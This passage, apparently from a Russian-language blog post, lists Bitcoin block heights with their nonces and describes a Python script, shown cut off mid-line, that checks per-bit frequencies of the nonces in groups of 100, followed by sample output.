537951 0x139834BF 328742079
537952 0x5FD3A9F1 1607707121
537953 0xAD9D920E 2912784910
537954 0xD798800B 3617095691
537955 0x2B2CF604 724366852
537956 0xF390B148 4086346056
537957 0x2AB48E9A 716476058
537958 0x2F257480 790983808
537959 0x939CFDAD 2476539309
537960 0xA513911C 2769522972
537961 0xF0897469 4035540073
537962 0xA524C5EA 2770650602
537963 0xCF9D021B 3483173403
537964 0x6A9DC536 1788724534
537965 0xE08655B3 3766900147
537966 0xF7764717 4151723799
537967 0xC85711BA 3361149370
537968 0x9640E96C 2520836460
537969 0xC3B5FDF6 3283484150
537970 0xD3F12C87 3555798151
537971 0x2AB2B3E2 716354530
537972 0xC88ECBF9 3364801529
537973 0x2FE6D7C5 803657669
537974 0x5C8D5F8C 1552768908
537975 0x60635379 1617122169
537976 0xC53917BE 3308853182
537977 0x5649D0B2 1447678130
537978 0xA34BFE97 2739666583
537979 0x3943AC99 960736409
537980 0xFB586724 4216874788
537981 0xA24E8B28 2723056424
537982 0x384D23D8 944579544
537983 0x5304FBBE 1392835518
537984 0xDEA1010F 3735093519
537985 0xCF17C086 3474440326
537986 0x9F548B04 2673117956
537987 0x127EF1A2 310309282
537988 0x5910BEC9 1494269641
537989 0x461A744B 1176138827
537990 0xCE39B461 3459888225
537991 0xD6DFF244 3605000772
537992 0x4ACC9D1E 1254923550
537993 0xEEDCC95E 4007446878
537994 0xA138BE04 2704850436
537995 0x43C56352 1137009490
537996 0x51AE9AFC 1370397436
537997 0xED6BD961 3983268193
537998 0x7E0BAF22 2114694946
537999 0x304BA889 810264713
538000 0x4F7AA322 1333437218
538001 0x8C123383 2350003075
538002 0xB5F2A332 3052577586
538003 0xB7AB0878 3081439352
538004 0x29808EBC 696291004
538005 0xE8690AF6 3899198198
538006 0x11888100 294158592
538007 0x56D5F709 1456862985
538008 0x978C2A2D 2542545453
538009 0x250B750E 621507854
538010 0xECEB1E38 3974831672
538011 0x40E28981 1088588161
538012 0xA02B0A4A 2687175242
538013 0x71FBE529 1912333609
538014 0x88A0D045 2292240453
538015 0x37796890 930703504
538016 0x6D103E33 1829781043
538017 0x2E6DC2B4 778945204
538018 0xC3E9E00C 3286884364
538019 0x6EC8264A 1858610762
538020 0x131533D1 320156625
538021 0x0DB17275 229732981
538022 0x5682198A 1451366794
538023 0xE3B27EA7 3820125863
538024 0x06EF590C 116349196
538025 0x889A77D3 2291824595
538026 0x6D34B4CC 1832170700
538027 0x0B073F31 185024305
538028 0x1A28A849 438872137
538029 0x79432D6D 2034445677
538030 0x15F6B679 368490105
538031 0x0C04367C 201602684
538032 0x10D959BA 282679738
538033 0x0ED30B44 248712004
538034 0xE8A7616E 3903283566
538035 0x259F25A0 631186848
538036 0x5EDFF112 1591734546
538037 0xAFFBA16E 2952503662
538038 0x63BB768C 1673229964
538039 0x23CFCF0E 600821518
538040 0x187E9BEA 410950634
538041 0xCDAB6DA9 3450564009
538042 0x62926AE6 1653762790
538043 0xEF2252CB 4012004043
538044 0x909B53AD 2426098605
538045 0xE3EB2AD5 3823839957
538046 0x2E3CC9BE 775735742
538047 0x5622D624 1445123620
538048 0xCE7CF2E1 3464295137
538049 0x4DD9FEDA 1306132186
538050 0x1771E1FB 393339387
538051 0x6CAD2172 1823285618
538052 0x528E6F53 1385066323
538053 0x017B4A66 24857190
538054 0xC13F7DB6 3242163638
538055 0x88545F85 2287230853
538056 0xE8CE7B72 3905846130
538057 0x6AB9064A 1790510666
538058 0x2CE84571 753419633
538059 0x82A2AC20 2191698976
538060 0x1E6FE20E 510648846
538061 0x622D40BC 1647132860
538062 0x9491D32D 2492584749
538063 0x6A481316 1783108374
538064 0x0C4559E7 205871591
538065 0xD98681F0 3649470960
538066 0xA72C66E6 2804704998
538067 0x924EC521 2454635809
538068 0x89CB6A04 2311809540
538069 0xD158C5C7 3512255943
538070 0x933BF94C 2470181196
538071 0xC3EB7B16 3286989590
538072 0xB0642377 2959352695
538073 0xDA9048F4 3666888948
538074 0x18BAE6D0 414901968
538075 0x617FB6E1 1635759841
538076 0x1D311A80 489757312
538077 0x2EE2F77A 786626426
538078 0x3580F7B5 897644469
538079 0xF4BCEB67 4106021735
538080 0x59974B84 1503087492
538081 0xD1367914 3510008084
538082 0x5F59C905 1599719685
538083 0x1C2E8928 472811816
538084 0xE502D304 3842167556
538085 0x129C84A6 312247462
538086 0x1D3B50DF 490426591
538087 0xD6765CC7 3598081223
538088 0xDE14E2F2 3725910770
538089 0x9E0BA738 2651563832
538090 0xECA8D2AC 3970486956
538091 0x191ED03A 421449786
538092 0xE097A846 3768035398
538093 0x5AF30AD5 1525877461
538094 0x1EE3F68C 518256268
538095 0x3AEA604B 988438603
538096 0xE412E5C2 3826443714
538097 0x5F873185 1602695557
538098 0x0C025A71 201480817
538099 0x8479D87E 2222577790
538100 0x15408C76 356551798
538101 0x707B561F 1887131167
538102 0x7FCF7693 2144302739
538103 0x60C5A8C7 1623566535
538104 0x30DFBC4C 819969100
538105 0x0B642F3C 191115068
538106 0x1B0CA095 453812373
538107 0x5954A2F8 1498718968
538108 0xCB76E411 3413566481
538109 0x1A6CEFD3 443346899
538110 0x9E3B0CA1 2654669985
538111 0xE1939E09 3784547849
538112 0x75D5DACE 1976949454
538113 0xAB129A91 2870123153
538114 0x31F3A743 838051651
538115 0x517A3FA3 1366966179
538116 0x8CCDC092 2362294418
538117 0x22D73D01 584531201
538118 0x399DFD60 966655328
538119 0x22D4D071 584372337
538120 0x03814777 58804087
538121 0x508FA982 1351592322
538122 0x1B0DA597 453879191
538123 0x627C55D1 1652315601
538124 0x894061A0 2302697888
538125 0x19F5A8FB 435529979
538126 0x47EE3C1C 1206795292
538127 0x5B68B0E6 1533587686
538128 0x9AA4EC5A 2594499674
538129 0x1052D495 273863829
538130 0x8AA1D82E 2325862446
538131 0xEFCE487E 4023273598
538132 0xF5CF47A6 4124002214
538133 0x219DFE4D 564002381
538134 0x72E1ABA2 1927392162
538135 0xCF0B0FD9 3473608665
538136 0xAF32F01A 2939351066
538137 0x3D72EBDB 1030941659
538138 0x2F67B681 795326081
538139 0x380B3D5E 940260702
538140 0xF5D4862E 4124345902
538141 0xE1E19048 3789656136
538142 0x6BBECB2F 1807665967
538143 0xEF64509C 4016328860
538144 0x961F7206 2518643206
538145 0x43ABF730 1135343408
538146 0xAF11CD1A 2937179418
538147 0xC62E2E5D 3324915293
538148 0x24A3BB61 614710113
538149 0x05C830A2 97005730
538150 0xE31BB251 3810243153
538151 0x54C7BB09 1422375689
538152 0xB1F0E404 2985354244
538153 0x59E0C239 1507902009
538154 0x84573368 2220307304
538155 0x4B13EAA4 1259596452
538156 0x2C247A25 740588069
538157 0x48EDB641 1223538241
538158 0x77A992C3 2007601859
538159 0x7CE0A1FD 2095096317
538160 0xB37D5CDA 3011337434
538161 0xA216D679 2719405689
538162 0x8496A983 2224466307
538163 0xEC4BB89B 3964385435
538164 0xE7BF68BD 3888081085
538165 0x108C0114 277610772
538166 0x7799036C 2006516588
538167 0xD88D369B 3633133211
538168 0xCF772CE4 3480693988
538169 0x9A55522A 2589282858
538170 0x42F9310A 1123627274
538171 0xDA87A79C 3666323356
538172 0xAFC9FCE6 2949250278
538173 0x49EEBEB8 1240383160
538174 0xAFF96C04 2952358916
538175 0x03FA7B1E 66747166
538176 0xF5247F56 4112809814
538177 0x984F3419 2555327513
538178 0x7357651E 1935107358
538179 0x701E96EC 1881052908
538180 0x80700378 2154824568
538181 0xB81136D4 3088135892
538182 0x66864306 1720075014
538183 0xC3572F3A 3277270842
538184 0x92E94EC1 2464763585
538185 0x930679BD 2466675133
538186 0xD8DB3165 3638243685
538187 0x56E217A4 1457657764
538188 0x09F37B46 166951750
538189 0xC6FD076F 3338471279
538190 0x12743396 309605270
538191 0xB4E60E94 3034975892
538192 0x25198985 622430597
538193 0xA27E35B3 2726180275
538194 0x96698E72 2523500146
538195 0x24864205 612778501
538196 0xEE5C0D4A 3999010122
538197 0x8356DC11 2203507729
538198 0x9EA1A0B1 2661392561
538199 0xAC7F3C65 2894019685
538200 0xD617F1D8 3591893464
538201 0xA4607BA7 2757786535
538202 0xDC77CE8F 3698839183
538203 0xFB88AEAB 4220038827
538204 0xD8361519 3627423001
538205 0xE5B9F001 3854168065
538206 0x5A9390BF 1519620287
538207 0x06B01781 112203649
538208 0x6A3F799E 1782544798
538209 0xB1DC7085 2984013957
538210 0xC4FB3B7D 3304799101
538211 0xC4E82C38 3303550008
538212 0x22B4B206 582267398
538213 0x083A6C95 138046613
538214 0x7AA2131D 2057442077
538215 0xBB6F331F 3144626975
538216 0x934341B0 2470658480
538217 0x0C289AB3 203987635
538218 0x64CB0E8B 1691029131
538219 0x4AD48949 1255442761
538220 0xB6A7B6A2 3064444578
538221 0x2356CA0D 592890381
538222 0x69894E57 1770606167
538223 0xC63F76A8 3326047912
538224 0x66BEB1AA 1723773354
538225 0x16509587 374379911
538226 0xAD93359E 2912105886
538227 0x96DC1769 2531006313
538228 0x12BA9D50 314219856
538229 0x55E1103E 1440813118
538230 0xC8A65C06 3366345734
538231 0x5FCACB86 1607125894
538232 0xA01D019B 2686255515
538233 0xAAA5D322 2862994210
538234 0x462EC0BD 1177469117
538235 0x950EA02C 2500763692
538236 0x3B9A82A1 999981729
538237 0x8400BA11 2214640145
538238 0x4DFE8B83 1308527491
538239 0x6AA1624E 1788961358
538240 0xDBB52C0F 3686083599
538241 0x2E35A7E0 775268320
538242 0xD304CD52 3540307282
538243 0x2A8CFDF5 713883125
538244 0x00A31BB6 10689462
538245 0x9D2CE08C 2636963980
538246 0x4A4EB5C8 1246672328
538247 0x614E3D1C 1632517404
538248 0x78E87C45 2028502085
538249 0x3AC2E3B1 985850801
538250 0xA66816DD 2791839453
538251 0xDA5A3210 3663344144
538252 0x782C7DCF 2016181711
538253 0xE3DBBC5B 3822828635
538254 0x31D163B4 835806132
538255 0x140840DB 336085211
538256 0xB0309B46 2955975494
538257 0x25750583 628426115
538258 0x120C9831 302815281
538259 0x30ED5290 820859536
538260 0xCE6DC246 3463299654
538261 0xBC2689A8 3156642216
538262 0x85922CEB 2240949483
538263 0x8A72F9B0 2322790832
538264 0x0E71BDF6 242335222
538265 0x0B9426DC 194258652
538266 0xD0E83681 3504879233
538267 0x2EF577A0 787838880
538268 0x56151207 1444221447
538269 0x88D7260F 2295801359
538270 0xCABBA987 3401296263
538271 0x038D4AF9 59591417
538272 0x8D241F97 2367954839
538273 0xE63050A2 3861926050
538274 0x80BA0403 2159674371
538275 0x2FA52E2D 799354413
538276 0x5530FD1D 1429273885
538277 0x5A1A7BE4 1511685092
538278 0x86687E69 2254995049
538279 0xD0ED5643 3505215043
538280 0xA7C1C8CB 2814494923
538281 0x96A931CD 2527670733
538282 0xE5E1A6B4 3856770740
538283 0x11BF4348 297747272
538284 0xE997830E 3919020814
538285 0x4684B469 1183102057
538286 0xD4E8BA0E 3572021774
538287 0xE37DB1D0 3816665552
538288 0x98170780 2551646080
538289 0xC13FDDE5 3242188261
538290 0xCE8382E0 3464725216
538291 0xE2E96539 3806946617
538292 0x5E8893B9 1586009017
538293 0xE5A30D24 3852668196
538294 0x43A65805 1134974981
538295 0x73BC9D96 1941740950
538296 0x194E8346 424575814
538297 0x66DB4BA3 1725647779
538298 0xF199C1D4 4053385684
538299 0x07DB018B 131793291
538300 0x4D765AA2 1299602082
538301 0x5442B512 1413657874
538302 0x40768401 1081508865
538303 0x487D5C36 1216175158
538304 0x1E06E3C8 503768008
538305 0x14A6D99C 346479004
538306 0x778F59DF 2005883359
538307 0xCCE3D794 3437483924
538308 0x16F30115 385024277
538309 0x28CDD9E6 684579302
538310 0x55AD4517 1437418775
538311 0xF373898A 4084435338
538312 0x429704DE 1117193438
538313 0x6E90DAD2 1854986962
538314 0x831F074B 2199848779
538315 0x2EAD39D0 783104464
538316 0x2C3E4FED 742281197
538317 0xA833C4B2 2821964978
538318 0xB1A173BB 2980148155
538319 0x75F13F85 1978744709
538320 0x83CDB776 2211297142
538321 0x818041AA 2172666282
538322 0x5C48301D 1548234781
538323 0x6D112501 1829840129
538324 0xE783CCA4 3884174500
538325 0x075175EB 122779115
538326 0x1F16ED66 521596262
538327 0x08BFC0E4 146784484
538328 0xE9B5966E 3920991854
538329 0x48D26E2A 1221750314
538330 0x3502F523 889386275
538331 0x90B10E55 2427522645
538332 0x30DA2AA8 819604136
538333 0x4520190A 1159731466
538334 0xB88AD006 3096104966
538335 0xADB52593 2914330003
538336 0xC197F22C 3247960620
538337 0x62BDA668 1656596072
538338 0x01FA3F3D 33177405
538339 0xE59F0284 3852403332
538340 0x6D94114F 1838420303
538341 0x42D992A1 1121555105
538342 0x2F92831F 798130975
538343 0x89A73E36 2309439030
538344 0x4087675E 1082615646
538345 0x0410412C 68174124
538346 0x8C4EB755 2353968981
538347 0xF15B9DD0 4049313232
538348 0x5203F035 1375989813
538349 0x2F814AAE 797002414
538350 0x27F043D1 670057425
538351 0xB0F3A282 2968756866
538352 0x28E0A40E 685810702
538353 0x1784D9C4 394582468
538354 0x5D68EC4C 1567157324
538355 0x61F4829D 1643414173
538356 0x73C7D9CC 1942477260
538357 0xCB3826E0 3409454816
538358 0x9F05F298 2667967128
538359 0x01C464D1 29648081
538360 0xA8F42823 2834573347
538361 0x9BA22CFF 2611096831
538362 0xE92508B1 3911518385
538363 0xA628FB2A 2787703594
538364 0x30AE2A46 816720454
538365 0xE3955C70 3818216560
538366 0x65C45A2D 1707366957
538367 0x1B686FA8 459829160
538368 0x58980B43 1486359363
538369 0x5871C363 1483850595
538370 0x9B405CF4 2604686580
538371 0x2E39B65E 775534174
538372 0xB32F5DAE 3006225838
538373 0x9D500B7E 2639268734
538374 0x25DFCEC5 635424453
538375 0x52EB94C3 1391170755
538376 0x803070DD 2150658269
538377 0x3148D92E 826857774
538378 0x417D02EC 1098711788
538379 0x78C40241 2026111553
538380 0xB61C8302 3055321858
538381 0x51EFF088 1374679176
538382 0xE5F964B7 3858326711
538383 0x69F9AE05 1777970693
538384 0xB0B04A3A 2964343354
538385 0x9EFCA524 2667357476
538386 0xD0723031 3497144369
538387 0x9C8EF62C 2626614828
538388 0x9E4D98B8 2655885496
538389 0x4E1762BA 1310155450
538390 0x8FAB5617 2410370583
538391 0x702B7E3D 1881898557
538392 0x04F7C684 83347076
538393 0xC4515E26 3293666854
538394 0xC8AE6994 3366873492
538395 0x1CB10092 481362066
538396 0x2DD59379 768971641
538397 0x8A5DD376 2321404790
538398 0x5CE0AFE0 1558228960
538399 0x460AF466 1175123046
538400 0xB2E6F225 3001479717
538401 0xA1FB610F 2717606159
538402 0xA6DD551C 2799523100
538403 0x2AB003BC 716178364
538404 0x8F8F7B11 2408545041
538405 0xF4A3ACF0 4104367344
538406 0xE2969947 3801520455
538407 0x077D19BD 125639101
538408 0x94BDDC89 2495470729
538409 0x76C3F6B2 1992554162
538410 0x205A1515 542774549
538411 0xE66F4F4B 3866054475
538412 0x0E0C001C 235667484
538413 0xC010B7F6 3222321142
538414 0x1DFD2484 503129220
538415 0x783DD400 2017317888
538416 0xD9546D6E 3646188910
538417 0x25002E49 620768841
538418 0x82E08EAE 2195754670
538419 0xD9B7049F 3652650143
538420 0x3FF2FA1C 1072888348
538421 0xAF6E46B3 2943239859
538422 0x75440849 1967392841
538423 0x11561456 290853974
538424 0x497968D9 1232693465
538425 0xF3B33D65 4088610149
538426 0x10061DB0 268836272
538427 0x55F2DB76 1441979254
538428 0x709BD39A 1889260442
538429 0x6E48C578 1850262904
538430 0xB267A1D5 2993136085
538431 0x1E3FD591 507499921
538432 0xF47C6F7D 4101795709
538433 0xA058904A 2690158666
538434 0xB435D102 3023425794
538435 0x1381E645 327280197
538436 0x3097C575 815252853
538437 0xAB17F8B8 2870474936
538438 0x1A14E45A 437576794
538439 0xE649A8FA 3863587066
538440 0x40CA4FD5 1087000533
538441 0x586E7F72 1483636594
538442 0x33718AC1 863079105
538443 0x136CC99C 325896604
538444 0xE44D3C15 3830266901
538445 0x1F1C81D1 521961937
538446 0x8753BB5A 2270411610
538447 0x22854DF0 579161584
538448 0xCB8F83E8 3415180264
538449 0x8B378106 2335670534
538450 0xD66EEAFA 3597593338
538451 0xA8E81799 2833782681
538452 0xD99541B6 3650437558
538453 0x9395A608 2476058120
538454 0x8E570624 2388067876
538455 0x63A84714 1671972628
538456 0x638CABA0 1670163360
538457 0x363DFC74 910031988
538458 0x4FC41B83 1338252163
538459 0x79A447B4 2040809396
538460 0x94BB5C58 2495306840
538461 0x9BE68725 2615576357
538462 0x84445C05 2219072517
538463 0x6A867A49 1787198025
538464 0xCFB56396 3484771222
538465 0x29CC5E15 701259285
538466 0xAB776859 2876729433
538467 0x686C6059 1751933017
538468 0x79F09216 2045809174
538469 0x0B5D830C 190677772
538470 0x0DB1C235 229753397
538471 0xDDAF1CD2 3719240914
538472 0x531267A6 1393715110
538473 0x2B168F9E 722898846
538474 0x9972432D 2574402349
538475 0x88DBFC5E 2296118366
538476 0xEC077F54 3959914324
538477 0x0BCE3304 198062852
538478 0xDCFD8BCD 3707603917
538479 0x69097656 1762227798
538480 0x6AE9545E 1793676382
538481 0x8178FC65 2172189797
538482 0x6F232471 1864574065
538483 0xED8F0580 3985573248
538484 0xD31EF44E 3542021198
538485 0xF95A27D4 4183435220
538486 0xD6DC92E2 3604779746
538487 0x89D4852C 2312406316
538488 0xD58A0152 3582591314
538489 0x92C839B1 2462595505
538490 0xA959A7F5 2841225205
538491 0xF0112197 4027654551
538492 0x634010BC 1665142972
538493 0xC36C12EA 3278639850
538494 0x565FA66E 1449109102
538495 0x5E7B9425 1585157157
538496 0x54595AAB 1415142059
538497 0xD2475BD9 3527891929
538498 0x57938630 1469285936
538499 0x04E0EDDE 81849822
538500 0x7278E330 1920525104
538501 0xCBB669BF 3417729471
538502 0x4705CE19 1191562777
538503 0xA6E62859 2800101465
538504 0x263F978C 641701772
538505 0xCAC848D1 3402123473
538506 0xE5A64E21 3852881441
538507 0xA4BD7CEA 2763881706
538508 0xD0365F29 3493224233
538509 0x0214956F 34903407
538510 0x693F8981 1765771649
538511 0xA526071C 2770732828
538512 0x6534F939 1697970489
538513 0xC4563E30 3293986352
538514 0x8E0D2952 2383227218
538515 0x77A81FBC 2007506876
538516 0x325FF260 845148768
538517 0x2A53B03C 710127676
538518 0x153FAE4D 356494925
538519 0x90D34748 2429765448
538520 0x97D0F292 2547053202
538521 0x488DC5AD 1217250733
538522 0x5FB4DE45 1605688901
538523 0x904E315E 2421043550
538524 0x09638813 157517843
538525 0x5CBC7A44 1555855940
538526 0xACE27790 2900522896
538527 0x29D87A83 702052995
538528 0xEE00E772 3993036658
538529 0xF0236255 4028850773
538530 0x81204A71 2166377073
538531 0xF65E0145 4133355845
538532 0xB225F558 2988832088
538533 0x522B406F 1378566255
538534 0x49C7690C 1237805324
538535 0xBB5C1959 3143375193
538536 0x3112232F 823272239
538537 0x1E22BA9A 505592474
538538 0x70FE33A7 1895707559
538539 0x5EE9587B 1592350843
538540 0xB5DE05B5 3051226549
538541 0xFED8C197 4275618199
538542 0x494828ED 1229465837
538543 0x62ADB076 1655550070
538544 0x56498A4A 1447660106
538545 0x34CBD790 885774224
538546 0xA7BC470F 2814134031
538547 0x319F2F1B 832515867
538548 0x74C75047 1959219271
538549 0xA4DD1C26 2765954086
538550 0xD459DA95 3562658453
538551 0xA5EB1964 2783648100
538552 0xE61A1A3E 3860470334
538553 0x6FF92EB7 1878601399
538554 0xE9850DA1 3917811105
538555 0xEC0D4E00 3960294912
538556 0xCECF7576 3469702518
538557 0x5435748D 1412789389
538558 0xA5DB8D1B 2782629147
538559 0xC3661513 3278247187
538560 0xC6DD80EA 3336405226
538561 0xB2ADB34E 2997728078
538562 0xAA7F696D 2860476781
538563 0x323BC5E0 842778080
538564 0x44222D2A 1143090474
538565 0x99A5C3CA 2577777610
538566 0xE42324BB 3827508411
538567 0xA324A7BB 2737088443
538568 0x7C0C5BEF 2081184751
538569 0xF6036407 4127417351
538570 0x51A04427 1369457703
538571 0x73008983 1929415043
538572 0x8582851A 2239923482
538573 0x1B183A6B 454572651
538574 0x4AEA6070 1256874096
538575 0xC522B97A 3307387258
538576 0x35830EB8 897781432
538577 0x8EDD03BE 2396849086
538578 0x5EE2A61D 1591911965
538579 0x286E3E54 678313556
538580 0xDC4B1CB5 3695910069
538581 0x8A1E422C 2317238828
538582 0x1E549937 508860727
538583 0x48C29568 1220711784
538584 0xF1FA8C88 4059729032
538585 0x4015A5C3 1075160515
538586 0x6D05725C 1829073500
538587 0x085AC6CA 140166858
538588 0xA2982514 2727879956
538589 0x0745EFE2 122023906
538590 0xB09DD71C 2963134236
538591 0x0881A64A 142714442
538592 0x36430C1E 910363678
538593 0xA60718BE 2785482942
538594 0x62C14E9D 1656835741
538595 0x4CCCAB6B 1288481643
538596 0x222578DC 572881116
538597 0x6363FC39 1667497017
538598 0x85A2890A 2242021642
538599 0xC337B2C4 3275207364
538600 0x2D15D83D 756406333
538601 0x86B36A10 2259905040
538602 0x537B28B9 1400580281
538603 0x544477CD 1413773261
538604 0x718ECF58 1905184600
538605 0x49D2A585 1238541701
538606 0x33A2BB90 866302864
538607 0x17A26262 396517986
538608 0xEABD201E 3938263070
538609 0xAC81481F 2894153759
538610 0x0FF54012 267730962
538611 0x473A964A 1195021898
538612 0xDC0690EF 3691417839
538613 0x417BB508 1098626312
538614 0x5EF7FCFA 1593310458
538615 0x80ED84AC 2163049644
538616 0x6A897CD7 1787395287
538617 0x253C2515 624698645
538618 0x8AC88177 2328396151
538619 0x757D117C 1971130748
538620 0x9F9FE1F2 2678055410
538621 0xB3E39402 3018036226
538622 0x276D7009 661483529
538623 0x6C38A410 1815651344
538624 0x24717272 611414642
538625 0xC7FCAB00 3355224832
538626 0x50BB09F2 1354435058
538627 0xA1CB2F6D 2714447725
538628 0xD290D449 3532706889
538629 0xC6CFA492 3335496850
538630 0xCD570D03 3445034243
538631 0xB8588D69 3092811113
538632 0x185264B3 408052915
538633 0xD86464DC 3630458076
538634 0xD9D0361C 3654301212
538635 0x46A1DD51 1185013073
538636 0x8BF82CC7 2348297415
538637 0x2BA91030 732500016
538638 0xE2FACD36 3808087350
538639 0x459CF017 1167912983
538640 0xB0DC4AD5 2967227093
538641 0x547ED29E 1417597598
538642 0x4722623A 1193435706
538643 0x33C830E7 868757735
538644 0x27A1FF85 664928133
538645 0xF47FE2E0 4102021856
538646 0x677C1648 1736185416
538647 0x808CEB56 2156718934
538648 0x8A6B5BCE 2322291662
538649 0xCD7F3911 3447666961
538650 0x29485F64 692608868
538651 0xD0A22937 3500288311
538652 0x01C8507A 29905018
538653 0xCA826CB3 3397545139
538654 0xDB341C03 3677625347
538655 0x6E2A4B18 1848265496
538656 0x01B7CB4D 28822349
538657 0xEBB1E9ED 3954305517
538658 0xF31E60A4 4078854308
538659 0x16A2430C 379732748
538660 0x9CC86C0C 2630380556
538661 0x19BB8061 431718497
538662 0xCD1932DF 3440980703
538663 0x54EB7420 1424716832
538664 0x958FB719 2509223705
538665 0x9AA13365 2594255717
538666 0xCDAE1367 3450737511
538667 0x9C29AB39 2619976505
538668 0x058593E8 92640232
538669 0x32567EF9 844529401
538670 0x5C94EAEB 1553263339
538671 0x1DF2B2FA 502444794
538672 0x47DD2ED2 1205677778
538673 0xB56853F0 3043513328
538674 0xA42D2B8A 2754423690
538675 0x83C1F3E6 2210526182
538676 0x8C821C4B 2357337163
538677 0xE3715EA3 3815857827
538678 0x98A6100A 2561019914
538679 0x82D1D5D8 2194789848
538680 0xE4447C38 3829693496
538681 0xA9A1F334 2845963060
538682 0x1A9B3B39 446380857
538683 0x761FF139 1981804857
538684 0x86031DE3 2248351203
538685 0xB097501A 2962706458
538686 0xCAEF11DC 3404665308
538687 0x9AC9952C 2596902188
538688 0x5574B1F9 1433711097
538689 0xE104A8C0 3775178944
538690 0xF71D53C9 4145894345
538691 0x42953B35 1117076277
538692 0x6A19498B 1780042123
538693 0xA39B8DB5 2744880565
538694 0x03AADB55 61528917
538695 0x27A1B52D 664909101
538696 0xFEF8001E 4277665822
538697 0x3424079C 874776476
538698 0x655F2BE0 1700735968
538699 0xB5285225 3039318565
538700 0xD4BB1D06 3569032454
538701 0x5F717081 1601269889
538702 0xBDA099A6 3181418918
538703 0x764DBAC5 1984805573
538704 0x5D77A070 1568120944
538705 0xF8C5D039 4173713465
538706 0xC4BA0C80 3300527232
538707 0xAA7EAE14 2860428820
538708 0x4F226E98 1327656600
538709 0x495E5CA5 1230920869
538710 0xE3ECCE49 3823947337
538711 0x15700867 359663719
538712 0x29D12C8A 701574282
538713 0xC7134F2A 3339931434
538714 0xEEB66B9F 4004932511
538715 0x4455B1D6 1146466774
538716 0xF27C58AA 4068235434
538717 0x80C2A8B2 2160240818
538718 0xAD76D91A 2910247194
538719 0x292ECBBC 690932668
538720 0xEB0CEB7A 3943492474
538721 0x0B39C986 188336518
538722 0xCBEAC47A 3421160570
538723 0xF520CF94 4112568212
538724 0x0E22DE71 237166193
538725 0xAACA82AD 2865398445
538726 0xC08E3613 3230545427
538727 0xE1AEB71C 3786323740
538728 0xF6A86355 4138230613
538729 0xE6409A01 3862993409
538730 0xF1470A28 4047964712
538731 0xDF9E739C 3751703452
538732 0x9F242F10 2669948688
538733 0xCA7A9E3E 3397033534
538734 0x9A762790 2591434640
538735 0xD3091FC1 3540590529
538736 0xF5D96F23 4124667683
538737 0x5B5F8BF8 1532988408
538738 0xCE69BC19 3463035929
538739 0xFA1B9BA8 4196113320
538740 0x9C8CB970 2626468208
538741 0xDC71095C 3698395484
538742 0x071F7BEC 119503852
538743 0x7400ED3A 1946217786
538744 0x1F0D3CAE 520961198
538745 0x6BC607AF 1808140207
538746 0x6B8D31AF 1804415407
538747 0x8629F8AE 2250897582
538748 0x14FF7400 352285696
538749 0xC3B5BC9D 3283467421
538750 0x29CB2575 701179253
538751 0x861AED3D 2249911613
538752 0x42AAA3CD 1118479309
538753 0x44C0B0B6 1153478838
538754 0x87AD78C1 2276292801
538755 0x5CE6831E 1558610718
538756 0xAD4B0CF7 2907376887
538757 0x958065C0 2508219840
538758 0x4179B5A0 1098495392
538759 0xA6766FBE 2792779710
538760 0xA945A40D 2839913485
538761 0x5F8801E3 1602748899
538762 0x5C18DED4 1545133780
538763 0x8D3B4284 2369471108
538764 0x60BA61CA 1622827466
538765 0x5C5DDEBC 1549655740
538766 0x4A307A20 1244690976
538767 0x4399D940 1134156096
538768 0x97E2F94F 2548234575
538769 0x1F48A827 524855335
538770 0x88C31D10 2294488336
538771 0xF44D4700 4098705152
538772 0xE464DA81 3831814785
538773 0x6E7A6187 1853514119
538774 0x448F6E9A 1150250650
538775 0xED003AA2 3976215202
538776 0x1AF65C81 452353153
538777 0x36DA69E0 920283616
538778 0x417C436A 1098662762
538779 0x8B5DEA00 2338187776
538780 0x97ECE049 2548883529
538781 0x52F85F9B 1392009115
538782 0x80370F89 2151092105
538783 0x2796E165 664199525
538784 0x8D019EE9 2365693673
538785 0xE1E18CCD 3789655245
538786 0x86B198AB 2259785899
538787 0x6BEBF3F0 1810625520
538788 0x3D4B8620 1028359712
538789 0x6F8F030C 1871643404
538790 0xC6798969 3329853801
538791 0xEB9FFD16 3953130774
538792 0xDD760436 3715499062
538793 0x2030335F 540029791
538794 0xC7E80160 3353870688
538795 0x0894B200 143962624
538796 0x326EE03C 846127164
538797 0x43C4DD73 1136975219
538798 0xE58D6273 3851248243
538799 0x1B71803F 460423231`
Теперь разобьем эту выборку на группы по сто значений и произведем статистический анализ по каждой группе. Нонсе — это 32х битное число. По здравому рассуждению каждый бит нонсе равновероятно принимает значение единица или ноль. Как раз это я и собираюсь проверить. напишу вот такой скрипт, который считает количество единиц в каждой позиции бита по группе из 100 нонсе.
```
import sys
import os
folder=""
stat_N=0
stat=[]
def init_stat():
global stat
global stat_N
stat_N=0
i=0
while i<64:
stat.append(0.0)
i=i+1
def clear_stat():
global stat
global stat_N
stat_N=0
i=0
while i<64:
stat[i]=0.0
i=i+1
def add_stat(nonce):
global stat
global stat_N
stat_N=stat_N+1
i=0
while i<64:
if nonce & (1<
```
Этот скрипт читает файл bitcoin/nonces.txt и создает новый файл bitcoin/stst.txt примерно вот такого вида:
`0.49 0.50 0.45 0.39 0.44 0.40 0.54 0.43 0.47 0.55 0.50 0.54 0.53 0.50 0.54 0.51 0.56 0.47 0.48 0.44 0.44 0.51 0.41 0.52 0.50 0.54 0.42 0.47 0.39 0.52 0.61 0.48
0.40 0.61 0.52 0.48 0.49 0.55 0.45 0.43 0.55 0.56 0.54 0.55 0.56 0.60 0.52 0.42 0.52 0.46 0.61 0.54 0.52 0.52 0.55 0.49 0.46 0.48 0.41 0.42 0.45 0.42 0.47 0.47
0.39 0.50 0.43 0.45 0.46 0.47 0.40 0.51 0.48 0.44 0.52 0.51 0.46 0.45 0.51 0.45 0.45 0.53 0.59 0.51 0.53 0.44 0.52 0.55 0.53 0.47 0.49 0.47 0.41 0.51 0.52 0.52
0.51 0.43 0.39 0.49 0.46 0.53 0.40 0.50 0.49 0.42 0.47 0.56 0.49 0.51 0.57 0.44 0.58 0.52 0.50 0.54 0.48 0.50 0.43 0.53 0.52 0.49 0.48 0.56 0.43 0.42 0.49 0.49
0.44 0.33 0.43 0.57 0.52 0.52 0.44 0.45 0.53 0.45 0.43 0.50 0.52 0.59 0.44 0.47 0.49 0.40 0.50 0.58 0.55 0.55 0.47 0.51 0.45 0.48 0.44 0.42 0.41 0.47 0.50 0.48
